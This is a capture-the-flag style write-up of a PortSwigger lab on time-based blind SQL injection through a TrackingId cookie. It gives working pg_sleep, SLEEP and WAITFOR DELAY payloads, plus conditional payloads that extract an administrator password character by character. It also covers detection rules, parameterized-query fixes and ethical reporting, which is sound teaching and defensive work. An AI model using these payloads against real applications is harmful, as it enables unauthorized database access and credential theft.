Lab: Blind SQL injection with time delays

⚠️ Disclaimer

This write-up is for educational and defensive purposes only. Run these techniques only in legal, authorized environments such as PortSwigger Web Security Academy or your own lab. Do not test or exploit systems you do not own or have explicit permission to test.

TL;DR (plain summary)

This lab teaches a common blind SQL injection technique called time-based blind SQLi. The application places a user-controlled value (the TrackingId cookie) into a SQL query, but it does not return query data in the HTTP response. Instead, we can run SQL expressions that cause the database to sleep for a fixed time (10 seconds). Observing a delayed response proves the injection and allows boolean testing and data extraction in fully blind contexts.

The short proof-of-concept payload for this lab is:

TrackingId=x'||pg_sleep(10)--

Send that in the TrackingId cookie in a proxied request to the front page. If the response takes ~10 seconds longer than baseline, the lab is solved.

Below is a full beginner-friendly walkthrough (step-by-step), why each action matters, troubleshooting tips, detection and remediation guidance, and recommended images with exact placement for your CMS.

1 - What is time-based blind SQL injection?

When an application never shows query results (blind SQLi), you can still learn about the database by causing observable side-effects. One widely used side-effect is time delay: cause the DB to pause (SLEEP, pg_sleep, WAITFOR DELAY, etc.) when a condition is true. By measuring how long the server takes to respond you infer whether that condition was true or false.

Why this is useful:

• Works even when error-based and in-band methods are unavailable.
• Useful for extracting data character-by-character in fully blind environments.
• The technique is DB-specific (function names differ: pg_sleep in PostgreSQL, SLEEP() in MySQL, WAITFOR DELAY in MSSQL, etc.).

This lab uses PostgreSQL-style pg_sleep(10) (the lab environment accepts that), so the payload uses pg_sleep.

2 - Tools & quick setup

You will need:

• A modern browser configured to proxy traffic through Burp Suite.
• Burp Suite (Proxy + Repeater). Community edition is sufficient.
• The PortSwigger lab page open (replace host with <LAB_HOST> in notes).

Before testing, establish a baseline response time by loading the front page normally (without modified cookie) and noting the response time in Burp. This helps you detect the 10s delay clearly.

3 - Recon: find the injection surface

Open the front page and capture the request in Burp Proxy → HTTP history. The request includes the TrackingId cookie which the app uses for analytics:

GET / HTTP/1.1
Host: <LAB_HOST>
Cookie: TrackingId=<ORIGINAL_VALUE>; session=<SESSION_ID>
...

Because the cookie value is used inside a SQL query on the server side, it is a likely injection point. The lab instructions hint that the TrackingId is the target.

I sent the request to Repeater to perform controlled experiments.

4 - Baseline timing

In Repeater, resend the captured request without modification and observe the response time (displayed by Burp as milliseconds). Record that baseline - for example 150–300 ms in many labs. This is essential because our proof requires noticing a ~10,000 ms (10s) additional delay.

5 - Proof-of-concept: trigger a 10-second delay

Replace the TrackingId value in the request cookie with the PoC payload. Example (URL-decoding depends on UI; here shown readable):

TrackingId=x'||pg_sleep(10)--

Steps in Repeater:

1. Replace the TrackingId cookie value with the payload above.
2. Click Send.
3. Watch the response time shown by Burp.

A successful injection will make the response return about 10 seconds slower than baseline. This confirms the vulnerability and solves the lab.

Why this works: The injected ' || pg_sleep(10) -- closes the current string in the SQL expression, concatenates the pg_sleep(10) call, and the comment -- ignores the rest of the original query. When the database evaluates pg_sleep(10) it waits ten seconds before returning, which causes the HTTP response delay we observe.

6 - First-person walkthrough (what I did, step by step)

1. I opened the lab and proxied the browser through Burp.
2. I clicked the front page and captured the GET request to / in Proxy → HTTP history.
3. I sent the request to Repeater for controlled testing.
4. I noted baseline response time (about 200 ms).
5. In Repeater I changed the cookie TrackingId to x'||pg_sleep(10)--.
6. I clicked Send and watched the response time: it was ~10,200 ms - a clear 10-second delay.
7. I refreshed the lab page and saw the lab marked solved (Academy validates the condition).
8. I documented the exact request and took screenshots (Repeater payload and the solved banner).

This approach is deliberately minimal - it proves the vulnerability without attempting large-scale data extraction. The lab goal is only to trigger the 10-second delay.

7 - Extending the technique (how to extract data, high level)

Time-based blind SQLi can be extended to extract data one bit/character at a time.

High-level pattern:

1. Determine the length of a target string (e.g., password) with a conditional time query: pg_sleep(10) if length(password) > N.
2. For each position i, test characters by checking substring(password,i,1) = 'a'. If true, sleep; otherwise no sleep.
3. Automate with a script or Burp Intruder to iterate through character sets.

Example conditional payload (testing if length > 5):

TrackingId=x'||(CASE WHEN (SELECT LENGTH(password) FROM users WHERE username='administrator')>5 THEN pg_sleep(10) ELSE pg_sleep(0) END)-- 

And character test for position 1 equals 'a':

TrackingId=x'||(CASE WHEN (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a' THEN pg_sleep(10) ELSE pg_sleep(0) END)-- 

Important: these extraction flows are slow and noisy. Use only in authorized contexts and prefer less invasive methods (error-based, time-saver techniques) when available.

8 - Troubleshooting - common problems & fixes

Always verify you targeted the correct DB type. pg_sleep is PostgreSQL-specific. MySQL uses SLEEP(10). MSSQL uses WAITFOR DELAY '00:00:10'. Using the wrong function yields errors.

9 - Detection and monitoring (practical recipes)

Detecting time-based blind SQLi is harder than detecting in-band attacks, but possible:

• Baseline response monitoring: Alert on requests where response time is significantly higher than baseline for the same resource and parameter.
• Rate of cookie tampering: Track clients that repeatedly submit unusual cookie values or patterns (many timed probes).
• DB-side monitoring: Correlate unusual calls to pg_sleep, SLEEP, or other timing functions from web user accounts. Blacklist these functions for web accounts where possible.
• WAF tuning: Create rules to block or alert on requests containing pg_sleep(, SLEEP(, WAITFOR DELAY in cookie values or parameters. (As a defensive layer, not the only defense.)

10 - Fixes and prioritized remediation

Prioritize the following fixes:

1. Parameterize queries (top priority). Use prepared statements/bind parameters so user input never changes SQL structure.
2. Input validation and canonicalization. For cookies like TrackingId, ensure values match expected patterns (token format) and reject suspicious content.
3. Restrict DB functions & privileges. The web app DB user should not be allowed to call arbitrary helper functions or execute commands that cause system-level effects.
4. Hide DB errors and limit returned information. Do not expose stack traces or DB-level errors.
5. Egress / rate limiting: Limit how many slow or timed requests can originate per client in a time window; alert on large numbers of slow probes.

Implementing parameterization alone will stop blind SQLi; the rest are defense-in-depth.

11 - Ethical reporting & remediation steps

If you find a time-based blind SQLi in a real program:

• Capture minimal PoC (one delayed request) and evidence (timing logs).
• Do not extract full secrets unless authorized; show minimally invasive proof only.
• Provide remediation steps: parameterize, validate input, restrict privileges.
• Recommend rotating secrets if you obtained them.
• Offer a retest after remediation.

12 - Final thoughts

Time-based blind SQL injection is a powerful technique in a constrained environment. It teaches two key defensive lessons: first, always treat user input as untrusted; second, do not allow the database or its functions to be controlled directly from user input. The correct fix is parameterization and least privilege - those two steps stop most SQLi classes.

13 - Appendix - PoC payloads (lab-only)

Replace <LAB_HOST> with the actual lab host. Use only in authorized labs.

Baseline request (captured):

GET / HTTP/1.1
Host: <LAB_HOST>
Cookie: TrackingId=<ORIGINAL_VALUE>; session=<SESSION_ID>

PoC - 10 second delay (PostgreSQL):

TrackingId=x'||pg_sleep(10)--

MySQL variant (if target were MySQL):

TrackingId=x'||SLEEP(10)--

MSSQL variant (if target were MSSQL):

TrackingId=x'||WAITFOR DELAY '00:00:10'--

Conditional example (test if password length > 5):

TrackingId=x'||(CASE WHEN (SELECT LENGTH(password) FROM users WHERE username='administrator')>5 THEN pg_sleep(10) ELSE pg_sleep(0) END)--

14 - References & further reading

• PortSwigger Web Security Academy - Blind SQL injection labs and documentation.
• OWASP - SQL Injection Prevention Cheat Sheet.
• PostgreSQL docs - pg_sleep() function details.
• Burp Suite documentation - Repeater & timing analysis features.